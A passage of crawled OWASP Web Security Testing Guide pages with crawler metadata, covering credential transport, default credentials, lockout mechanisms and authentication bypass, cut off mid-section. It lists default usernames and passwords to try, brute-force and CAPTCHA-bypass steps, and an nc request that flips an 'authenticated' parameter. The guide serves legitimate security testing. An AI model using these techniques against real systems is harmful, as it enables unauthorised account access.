http://www.example.org/j_acegi_security_check\nRequest method: POST\n...\nPOST data:\nj_username=userabc\nj_password=My-Protected-Password-452\nfrom=/\nSubmit=Sign in\n```\n\nIn this failing test example:\n\n- The fetch URL is `http://` and it exposes the plaintext `j_username` and `j_password` through the post data.\n- In this case, since the test already shows POST data exposing all the credentials, there is no point checking response headers (which would also likely expose a session token or cookie).\n\n### Account Creation\n\nTo test for unencrypted account creation, attempt to force browse to the HTTP version of the account creation and create an account, for example: `http://www.example.org/securityRealm/createAccount`\n\nThe test passes if even after the forced browsing, the client still sends the new account request through HTTPS:\n\n```\nRequest URL: https://www.example.org/securityRealm/createAccount\nRequest method: POST\n...\nResponse headers:\nHTTP/1.1 200 OK Server: nginx/1.19.2 Date: Tue, 29 Sep 2020 01:11:50 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3139 Connection: keep-alive X-Content-Type-Options: nosniff Set-Cookie: JSESSIONID.a7731d09=node011yew1ltrsh1x1k3m6g6b44tip8.node0; Path=/; Secure; HttpOnly Expires: 0 Cache-Control: no-cache,no-store,must-revalidate X-Hudson-Theme: default Referrer-Policy: same-origin Cross-Origin-Opener-Policy: same-origin X-Hudson: 1.395 X-Jenkins: 2.257 X-Jenkins-Session: 4551da08 X-Hudson-CLI-Port: 50000 X-Jenkins-CLI-Port: 50000 X-Jenkins-CLI2-Port: 50000 X-Frame-Options: sameorigin Content-Encoding: gzip X-Instance-Identity: MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA3344ru7RK0jgdpKs3cfrBy2tteYI1laGpbP4fr5zOx2b/1OEvbVioU5UbtfIUHruD9N7jBG+KG4pcWfUiXdLp2skrBYsXBfiwUDA8Wam3wSbJWTmPfSRiIu4dsfIedj0bYX5zJSa6QPLxYolaKtBP4vEnP6lBFqW2vMuzaN6QGReAxM4NKWTijFtpxjchyLQ2o+K5mSEJQIWDIqhv1sKxdM9zkb6pW/rI1deJJMSih66les5kXgbH2fnO7Fz6di88jT1tAHoaXWkPM9X0EbklkHPT9b7RVXziOURXVIPUTU5u+LYGkNavEb+bdPmsD94elD/cf5ZqdGNoOAE5AYS0QIDAQAB ... POST data: username=user456 fullname=User 456 password1=My-Protected-Password-808 password2=My-Protected-Password-808 Submit=Create account Jenkins-Crumb=58e6f084fd29ea4fe570c31f1d89436a0578ef4d282c1bbe03ffac0e8ad8efd6 \n```\n\n- Similar to a login, most web applications automatically give a session token on a successful account creation. If there is a `Set-Cookie:` , verify it has a `Secure;` attribute as well.\n\nThe test fails if the client sends a new account request with unencrypted HTTP:\n\n```\nRequest URL: http://www.example.org/securityRealm/createAccount\nRequest method: POST\n...\nPOST data:\nusername=user456\nfullname=User 456\npassword1=My-Protected-Password-808\npassword2=My-Protected-Password-808\nSubmit=Create account\nJenkins-Crumb=8c96276321420cdbe032c6de141ef556cab03d91b25ba60be8fd3d034549cdd3\n```\n\n- This Jenkins user creation form exposed all the new user details (name, full name, and password) in POST data to the HTTP create account page\n\n### Password Reset, Change Password or Other Account Manipulation\n\nSimilar to login and account creation, if the web application has features that allow a user to change an account or call a different service with credentials, verify all of those interactions are HTTPS. The interactions to test include the following:\n\n- Forms that allow users to handle a forgotten password or other credential\n- Forms that allow users to edit credentials\n- Forms that require the user to authenticate with another provider (for example, payment processing)\n\n### Accessing Resources While Logged In\n\nAfter logging in, access all the features of the application, including public features that do not necessarily require a login to access. Forced browse to the HTTP version of the web site to see if the client leaks credentials.\n\nThe test passes if all interactions send the session token over HTTPS similar to the following example:\n\n```\nRequest URL:http://www.example.org/\nRequest method:GET\n...\nRequest headers:\nGET / HTTP/1.1 Host: www.example.org User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br DNT: 1 Connection: keep-alive Cookie: JSESSIONID.a7731d09=node01ai3by8hip0g71kh3ced41pmqf4.node0; ACEGI_SECURITY_HASHED_REMEMBER_ME_COOKIE=dXNlcmFiYzoxNjAyNTUwNzQ0NDU3OjFmNDlmYTZhOGI1YTZkYTYxNDIwYWVmNmM0OTI1OGFhODA3Y2ZmMjg4MDM3YjcwODdmN2I2NjMwOWIyMDU3NTc=; screenResolution=1920x1200 Upgrade-Insecure-Requests: 1 \n```\n\n- The session token in the cookie is encrypted since the request URL is HTTPS\n\nThe test fails if the browser submits a session token over HTTP in any part of the web site, even if forced browsing is required to trigger this case:\n\n```\nRequest URL:http://www.example.org/\nRequest method:GET\n...\nRequest headers:\nGET / HTTP/1.1 Host: www.example.org User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; screenResolution=1920x1200; JSESSIONID.c1e7b45b=node01warjbpki6icgxkn0arjbivo84.node0 Upgrade-Insecure-Requests: 1 \n```\n\n- The GET request exposed the session token `JSESSIONID` (from browser to server) in request URL `http://www.example.org/`\n\n## Remediation\n\nUse HTTPS for the whole web site. Implement [HSTS](https://tools.ietf.org/html/rfc6797) and redirect any HTTP to HTTPS. The site gains the following benefits from using HTTPS for all its features:\n\n- It prevents attackers from modifying interactions with the web server (including placing JavaScript malware through a [compromised router](https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/over-200-000-mikrotik-routers-compromised-in-cryptojacking-campaign) ).\n- It avoids losing customers to insecure site warnings. New browsers [mark HTTP based web sites as insecure](https://www.blog.google/products/chrome/milestone-chrome-security-marking-http-not-secure/) .\n- It makes writing certain applications easier. For example, Android APIs [need overrides](https://developer.android.com/training/articles/security-config#CleartextTrafficPermitted) to connect to anything via HTTP.\n\nIf it is cumbersome to switch to HTTPS, prioritize HTTPS for sensitive operations first. For the medium term, plan to convert the whole application to HTTPS to avoid losing customers to compromise or the warnings of HTTP being insecure. If the organization does not already buy certificates for HTTPS, look in to [Let’s Encrypt](https://letsencrypt.org) or other free certificate authorities on the server.\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 11896, "slov": 1445, "odkazu": 195, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:09:17", "sha256": "fa7633371555100318c659f6ddf82787b7fbda773b0410e5d3b5b7d5593be9e1", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://tools.ietf.org/html/rfc2818", "https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Forgot_Password_Cheat_Sheet.html", "https://www.wireshark.org/", "https://developer.mozilla.org/en-US/docs/Tools", "https://www.eff.org/https-everywhere", "https://www.w3.org/Protocols/rfc2616/rfc2616-sec4.html", "https://tools.ietf.org/html/rfc6265", "https://tools.ietf.org/html/rfc6797", "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/over-200-000-mikrotik-routers-compromised-in-cryptojacking-campaign", "https://www.blog.google/products/chrome/milestone-chrome-security-marking-http-not-secure/", "https://developer.android.com/training/articles/security-config", "https://letsencrypt.org/", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/02-Testing_for_Default_Credentials", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/02-Testing_for_Default_Credentials", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/02-Testing_for_Default_Credentials", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "04-Authentication Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Testing for Default Credentials"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Testing for Default Credentials of Common Applications"}, {"uroven": 3, "text": "Testing for Default Password of New Accounts"}, {"uroven": 4, "text": "Gray-Box Testing"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - v4.2\n\n# Testing for Default Credentials\n\n| ID |\n| --- |\n| WSTG-ATHN-02 |\n\n## Summary\n\nNowadays web applications often make use of popular Open Source or commercial software that can be installed on servers with minimal configuration or customization by the server administrator. Moreover, a lot of hardware appliances (i.e. network routers and database servers) offer web-based configuration or administrative interfaces.\n\nOften these applications, once installed, are not properly configured and the default credentials provided for initial authentication and configuration are never changed. These default credentials are well known by penetration testers and, unfortunately, also by malicious attackers, who can use them to gain access to various types of applications.\n\nFurthermore, in many situations, when a new account is created on an application, a default password (with some standard characteristics) is generated. If this password is predictable and the user does not change it on the first access, this can lead to an attacker gaining unauthorized access to the application.\n\nThe root cause of this problem can be identified as:\n\n- Inexperienced IT personnel, who are unaware of the importance of changing default passwords on installed infrastructure components, or leave the password as default for “ease of maintenance”.\n- Programmers who leave back doors to easily access and test their application and later forget to remove them.\n- Applications with built-in non-removable default accounts with a preset username and password.\n- Applications that do not force the user to change the default credentials after the first log in.\n\n## Test Objectives\n\n- Enumerate the applications for default credentials and validate if they still exist.\n- Review and assess new user accounts and if they are created with any defaults or identifiable patterns.\n\n## How to Test\n\n### Testing for Default Credentials of Common Applications\n\nIn black-box testing the tester knows nothing about the application and its underlying infrastructure. In reality this is often not true, and some information about the application is known. We suppose that you have identified, through the use of the techniques described in this Testing Guide under the chapter [Information Gathering](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/README), at least one or more common applications that may contain accessible administrative interfaces.\n\nWhen you have identified an application interface, for example a Cisco router web interface or a WebLogic administrator portal, check that the known usernames and passwords for these devices do not result in successful authentication. To do this you can consult the manufacturer’s documentation or, in a much simpler way, you can find common credentials using a search engine or by using one of the sites or tools listed in the Reference section.\n\nWhen facing applications where we do not have a list of default and common user accounts (for example due to the fact that the application is not wide spread) we can attempt to guess valid default credentials. Note that the application being tested may have an account lockout policy enabled, and multiple password guess attempts with a known username may cause the account to be locked. If it is possible to lock the administrator account, it may be troublesome for the system administrator to reset it.\n\nMany applications have verbose error messages that inform the site users as to the validity of entered usernames. This information will be helpful when testing for default or guessable user accounts. Such functionality can be found, for example, on the log in page, password reset and forgotten password page, and sign up page. Once you have found a default username you could also start guessing passwords for this account.\n\nMore information about this procedure can be found in the following sections:\n\n- [Testing for User Enumeration and Guessable User Account](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/03-Identity_Management_Testing/04-Testing_for_Account_Enumeration_and_Guessable_User_Account)\n- [Testing for Weak password policy](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/07-Testing_for_Weak_Password_Policy) .\n\nSince these types of default credentials are often bound to administrative accounts you can proceed in this manner:\n\n- Try the following usernames - “admin”, “administrator”, “root”, “system”, “guest”, “operator”, or “super”. These are popular among system administrators and are often used. Additionally you could try “qa”, “test”, “test1”, “testing” and similar names. Attempt any combination of the above in both the username and the password fields. If the application is vulnerable to username enumeration, and you manage to successfully identify any of the above usernames, attempt passwords in a similar manner. In addition try an empty password or one of the following “password”, “pass123”, “password123”, “admin”, or “guest” with the above accounts or any other enumerated accounts. Further permutations of the above can also be attempted. If these passwords fail, it may be worth using a common username and password list and attempting multiple requests against the application. This can, of course, be scripted to save time.\n- Application administrative users are often named after the application or organization. This means if you are testing an application named “Obscurity”, try using obscurity/obscurity or any other similar combination as the username and password.\n- When performing a test for a customer, attempt using names of contacts you have received as usernames with any common passwords. Customer email addresses mail reveal the user accounts naming convention: if employee “John Doe” has the email address `jdoe@example.com` , you can try to find the names of system administrators on social media and guess their username by applying the same naming convention to their name.\n- Attempt using all the above usernames with blank passwords.\n- Review the page source and JavaScript either through a proxy or by viewing the source. Look for any references to users and passwords in the source. For example `If username='admin' then starturl=/admin.asp else /index.asp` (for a successful log in versus a failed log in). Also, if you have a valid account, then log in and view every request and response for a valid log in versus an invalid log in, such as additional hidden parameters, interesting GET request (login=yes), etc.\n- Look for account names and passwords written in comments in the source code. Also look in backup directories for source code (or backups of source code) that may contain interesting comments and code.\n\n### Testing for Default Password of New Accounts\n\nIt can also occur that when a new account is created in an application the account is assigned a default password. This password could have some standard characteristics making it predictable. If the user does not change it on first usage (this often happens if the user is not forced to change it) or if the user has not yet logged on to the application, this can lead an attacker to gain unauthorized access to the application.\n\nThe advice given before about a possible lockout policy and verbose error messages are also applicable here when testing for default passwords.\n\nThe following steps can be applied to test for these types of default credentials:\n\n- Looking at the User Registration page may help to determine the expected format and minimum or maximum length of the application usernames and passwords. If a user registration page does not exist, determine if the organization uses a standard naming convention for usernames such as their email address or the name before the `@` in the email.\n- Try to extrapolate from the application how usernames are generated. For example, can a user choose their own username or does the system generate an account name for the user based on some personal information or by using a predictable sequence? If the application does generate the account names in a predictable sequence, such as `user7811` , try fuzzing all possible accounts recursively. If you can identify a different response from the application when using a valid username and a wrong password, then you can try a brute force attack on the valid username (or quickly try any of the identified common passwords above or in the reference section).\n- Try to determine if the system generated password is predictable. To do this, create many new accounts quickly after one another so that you can compare and determine if the passwords are predictable. If predictable, try to correlate these with the usernames, or any enumerated accounts, and use them as a basis for a brute force attack.\n- If you have identified the correct naming convention for the user name, try to “brute force” passwords with some common predictable sequence like for example dates of birth.\n- Attempt using all the above usernames with blank passwords or using the username also as password value.\n\n#### Gray-Box Testing\n\nThe following steps rely on an entirely gray-box approach. If only some of this information is available to you, refer to black-box testing to fill the gaps.\n\n- Talk to the IT personnel to determine which passwords they use for administrative access and how administration of the application is undertaken.\n- Ask IT personnel if default passwords are changed and if default user accounts are disabled.\n- Examine the user database for default credentials as described in the black-box testing section. Also check for empty password fields.\n- Examine the code for hard coded usernames and passwords.\n- Check for configuration files that contain usernames and passwords.\n- Examine the password policy and, if the application generates its own passwords for new users, check the policy in use for this procedure.\n\n## Tools\n\n- [Burp Intruder](https://portswigger.net/burp)\n- [THC Hydra](https://github.com/vanhauser-thc/thc-hydra)\n- [Nikto 2](https://www.cirt.net/nikto2)\n\n## References\n\n- [CIRT](https://cirt.net/passwords)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 10271, "slov": 1537, "odkazu": 182, "kodovani": "windows-1250", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:09:18", "sha256": "3163430ff8d9d34586b81b13a4f274b0e783fdb4b32ffa9b11700c3895b94cad", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://portswigger.net/burp", "https://github.com/vanhauser-thc/thc-hydra", "https://www.cirt.net/nikto2", "https://cirt.net/passwords", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/03-Testing_for_Weak_Lock_Out_Mechanism", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/03-Testing_for_Weak_Lock_Out_Mechanism", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/03-Testing_for_Weak_Lock_Out_Mechanism", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "04-Authentication Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Testing for Weak Lock Out Mechanism"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Lockout Mechanism"}, {"uroven": 3, "text": "Unlock Mechanism"}, {"uroven": 2, "text": "Remediation"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - v4.2\n\n# Testing for Weak Lock Out Mechanism\n\n| ID |\n| --- |\n| WSTG-ATHN-03 |\n\n## Summary\n\nAccount lockout mechanisms are used to mitigate brute force attacks. Some of the attacks that can be defeated by using lockout mechanism:\n\n- Login password or username guessing attack.\n- Code guessing on any 2FA functionality or Security Questions.\n\nAccount lockout mechanisms require a balance between protecting accounts from unauthorized access and protecting users from being denied authorized access. Accounts are typically locked after 3 to 5 unsuccessful attempts and can only be unlocked after a predetermined period of time, via a self-service unlock mechanism, or intervention by an administrator.\n\nDespite it being easy to conduct brute force attacks, the result of a successful attack is dangerous as the attacker will have full access on the user account and with it all the functionality and services they have access to.\n\n## Test Objectives\n\n- Evaluate the account lockout mechanism’s ability to mitigate brute force password guessing.\n- Evaluate the unlock mechanism’s resistance to unauthorized account unlocking.\n\n## How to Test\n\n### Lockout Mechanism\n\nTo test the strength of lockout mechanisms, you will need access to an account that you are willing or can afford to lock. If you have only one account with which you can log on to the web application, perform this test at the end of your test plan to avoid losing testing time by being locked out.\n\nTo evaluate the account lockout mechanism’s ability to mitigate brute force password guessing, attempt an invalid log in by using the incorrect password a number of times, before using the correct password to verify that the account was locked out. An example test may be as follows:\n\n1. Attempt to log in with an incorrect password 3 times.\n2. Successfully log in with the correct password, thereby showing that the lockout mechanism doesn’t trigger after 3 incorrect authentication attempts.\n3. Attempt to log in with an incorrect password 4 times.\n4. Successfully log in with the correct password, thereby showing that the lockout mechanism doesn’t trigger after 4 incorrect authentication attempts.\n5. Attempt to log in with an incorrect password 5 times.\n6. Attempt to log in with the correct password. The application returns “Your account is locked out.”, thereby confirming that the account is locked out after 5 incorrect authentication attempts.\n7. Attempt to log in with the correct password 5 minutes later. The application returns “Your account is locked out.”, thereby showing that the lockout mechanism does not automatically unlock after 5 minutes.\n8. Attempt to log in with the correct password 10 minutes later. The application returns “Your account is locked out.”, thereby showing that the lockout mechanism does not automatically unlock after 10 minutes.\n9. Successfully log in with the correct password 15 minutes later, thereby showing that the lockout mechanism automatically unlocks after a 10 to 15 minute period.\n\nA CAPTCHA may hinder brute force attacks, but they can come with their own set of weaknesses, and should not replace a lockout mechanism. A CAPTCHA mechanism may be bypassed if implemented incorrectly. CAPTCHA flaws include:\n\n1. Easily defeated challenge, such as arithimetic or limited question set.\n2. CAPTCHA checks for HTTP response code instead of response success.\n3. CAPTCHA server-side logic defaults to a successful solve.\n4. CAPTCHA challenge result is never validated server-side.\n5. CAPTCHA input field or parameter is manually processed, and is improperly validated or escaped.\n\nTo evaluate CAPTCHA effectiveness:\n\n1. Assess CAPTCHA challenges and attempt automating solutions depending on difficulty.\n2. Attempt to submit request without solving CAPTCHA via the normal UI mechanism(s).\n3. Attempt to submit request with intentional CAPTCHA challenge failure.\n4. Attempt to submit request without solving CAPTCHA (assuming some default values may be passed by client-side code, etc) while using a testing proxy (request submitted directly server-side).\n5. Attempt to fuzz CAPTCHA data entry points (if present) with common injection payloads or special characters sequences.\n6. Check if the solution to the CAPTCHA might be the alt-text of the image(s), filename(s), or a value in an associated hidden field.\n7. Attempt to re-submit previously identified known good responses.\n8. Check if clearing cookies causes the CAPTCHA to be bypassed (for example if the CAPTCHA is only shown after a number of failures).\n9. If the CAPTCHA is part of a multi-step process, attempt to simply access or complete a step beyond the CAPTCHA (for example if CAPTCHA is the first step in a login process, try simply submitting the second step [username and password]).\n10. Check for alternative methods that might not have CAPTCHA enforced, such as an API endpoint meant to facilitate mobile app access.\n\nRepeat this process to every possible functionality that could require a lockout mechanism.\n\n### Unlock Mechanism\n\nTo evaluate the unlock mechanism’s resistance to unauthorized account unlocking, initiate the unlock mechanism and look for weaknesses. Typical unlock mechanisms may involve secret questions or an emailed unlock link. The unlock link should be a unique one-time link, to stop an attacker from guessing or replaying the link and performing brute force attacks in batches.\n\nNote that an unlock mechanism should only be used for unlocking accounts. It is not the same as a password recovery mechanism, yet could follow the same security practices.\n\n## Remediation\n\nApply account unlock mechanisms depending on the risk level. In order from lowest to highest assurance:\n\n1. Time-based lockout and unlock.\n2. Self-service unlock (sends unlock email to registered email address).\n3. Manual administrator unlock.\n4. Manual administrator unlock with positive user identification.\n\nFactors to consider when implementing an account lockout mechanism:\n\n1. What is the risk of brute force password guessing against the application?\n2. Is a CAPTCHA sufficient to mitigate this risk?\n3. Is a client-side lockout mechanism being used (e.g., JavaScript)? (If so, disable the client-side code to test.)\n4. Number of unsuccessful log in attempts before lockout. If the lockout threshold is to low then valid users may be locked out too often. If the lockout threshold is to high then the more attempts an attacker can make to brute force the account before it will be locked. Depending on the application’s purpose, a range of 5 to 10 unsuccessful attempts is typical lockout threshold.\n5. How will accounts be unlocked?\n 1. Manually by an administrator: this is the most secure lockout method, but may cause inconvenience to users and take up the administrator’s “valuable” time.\n 1. Note that the administrator should also have a recovery method in case his account gets locked.\n 2. This unlock mechanism may lead to a denial-of-service attack if an attacker’s goal is to lock the accounts of all users of the web application.\n 2. After a period of time: What is the lockout duration? Is this sufficient for the application being protected? E.g. a 5 to 30 minute lockout duration may be a good compromise between mitigating brute force attacks and inconveniencing valid users.\n 3. Via a self-service mechanism: As stated before, this self-service mechanism must be secure enough to avoid that the attacker can unlock accounts himself.\n\n## References\n\n- See the OWASP article on [Brute Force](https://owasp.org/www-community/attacks/Brute_force_attack) Attacks.\n- [Forgot Password CS](https://cheatsheetseries.owasp.org/cheatsheets/Forgot_Password_Cheat_Sheet.html) .\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 7702, "slov": 1198, "odkazu": 180, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:09:19", "sha256": "bc9d400fd05c6ffe2095a4c6bbd2debd3981d43461fa94cda07f5cd62566e0f2", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://cheatsheetseries.owasp.org/cheatsheets/Forgot_Password_Cheat_Sheet.html", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/04-Testing_for_Bypassing_Authentication_Schema", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/04-Testing_for_Bypassing_Authentication_Schema", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/04-Testing_for_Bypassing_Authentication_Schema", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "04-Authentication Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Testing for Bypassing Authentication Schema"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Black-Box Testing"}, {"uroven": 4, "text": "Direct Page Request"}, {"uroven": 4, "text": "Parameter Modification"}, {"uroven": 4, "text": "Session ID Prediction"}, {"uroven": 4, "text": "SQL Injection (HTML Form Authentication)"}, {"uroven": 3, "text": "Gray-Box Testing"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "Whitepapers"}], "markdown": "# WSTG - v4.2\n\n# Testing for Bypassing Authentication Schema\n\n| ID |\n| --- |\n| WSTG-ATHN-04 |\n\n## Summary\n\nIn computer security, authentication is the process of attempting to verify the digital identity of the sender of a communication. A common example of such a process is the log on process. Testing the authentication schema means understanding how the authentication process works and using that information to circumvent the authentication mechanism.\n\nWhile most applications require authentication to gain access to private information or to execute tasks, not every authentication method is able to provide adequate security. Negligence, ignorance, or simple understatement of security threats often result in authentication schemes that can be bypassed by simply skipping the log in page and directly calling an internal page that is supposed to be accessed only after authentication has been performed.\n\nIn addition, it is often possible to bypass authentication measures by tampering with requests and tricking the application into thinking that the user is already authenticated. This can be accomplished either by modifying the given URL parameter, by manipulating the form, or by counterfeiting sessions.\n\nProblems related to the authentication schema can be found at different stages of the software development life cycle (SDLC), like the design, development, and deployment phases:\n\n- In the design phase errors can include a wrong definition of application sections to be protected, the choice of not applying strong encryption protocols for securing the transmission of credentials, and many more.\n- In the development phase errors can include the incorrect implementation of input validation functionality or not following the security best practices for the specific language.\n- In the application deployment phase, there may be issues during the application setup (installation and configuration activities) due to a lack in required technical skills or due to the lack of good documentation.\n\n## Test Objectives\n\n- Ensure that authentication is applied across all services that require it.\n\n## How to Test\n\n### Black-Box Testing\n\nThere are several methods of bypassing the authentication schema that is used by a web application:\n\n- Direct page request ( [forced browsing](https://owasp.org/www-community/attacks/Forced_browsing) )\n- Parameter modification\n- Session ID prediction\n- SQL injection\n\n#### Direct Page Request\n\nIf a web application implements access control only on the log in page, the authentication schema could be bypassed. For example, if a user directly requests a different page via forced browsing, that page may not check the credentials of the user before granting access. Attempt to directly access a protected page through the address bar in your browser to test using this method.\n\n*Figure 4.4.4-1: Direct Request to Protected Page*\n\n#### Parameter Modification\n\nAnother problem related to authentication design is when the application verifies a successful log in on the basis of a fixed value parameters. A user could modify these parameters to gain access to the protected areas without providing valid credentials. In the example below, the “authenticated” parameter is changed to a value of “yes”, which allows the user to gain access. In this example, the parameter is in the URL, but a proxy could also be used to modify the parameter, especially when the parameters are sent as form elements in a POST request or when the parameters are stored in a cookie.\n\n```\nhttp://www.site.com/page.asp?authenticated=no\n\nraven@blackbox /home $nc www.site.com 80\nGET /page.asp?authenticated=yes HTTP/1.0\n\nHTTP/1.1 200 OK\nDate: Sat, 11 Nov 2006 10:22:44 GMT\nServer: Apache\nConnection: close\nContent-Type: text/html; charset=iso-8859-1\n\n

You Are Authenticated

\n```\n\n*Figure 4.4.4-2: Parameter Modified Request*\n\n#### Session ID Prediction\n\nMany web applications manage authentication by using session identifiers (session IDs). Therefore, if session ID generation is predictable, a malicious user could be able to find a valid session ID and gain unauthorized access to the application, impersonating a previously authenticated user.\n\nIn the following figure, values inside cookies increase linearly, so it could be easy for an attacker to guess a valid session ID.\n\n*Figure 4.4.4-3: Cookie Values Over Time*\n\nIn the following figure, values inside cookies change only partially, so it’s possible to restrict a brute force attack to the defined fields shown below.\n\n*Figure 4.4.4-4: Partially Changed Cookie Values*\n\n#### SQL Injection (HTML Form Authentication)\n\nSQL Injection is a widely known attack technique. This section is not going to describe this technique in detail as there are several sections in this guide that explain injection techniques beyond the scope of this section.\n\n*Figure 4.4.4-5: SQL Injection*\n\nThe following figure shows that with a simple SQL injection attack, it is sometimes possible to bypass the authentication form.\n\n*Figure 4.4.4-6: Simple SQL Injection Attack*\n\n### Gray-Box Testing\n\nIf an attacker has been able to retrieve the application source code by exploiting a previously discovered vulnerability (e.g., directory traversal), or from a web repository (Open Source Applications), it could be possible to perform refined attacks against the implementation of the authentication process.\n\nIn the following example (PHPBB 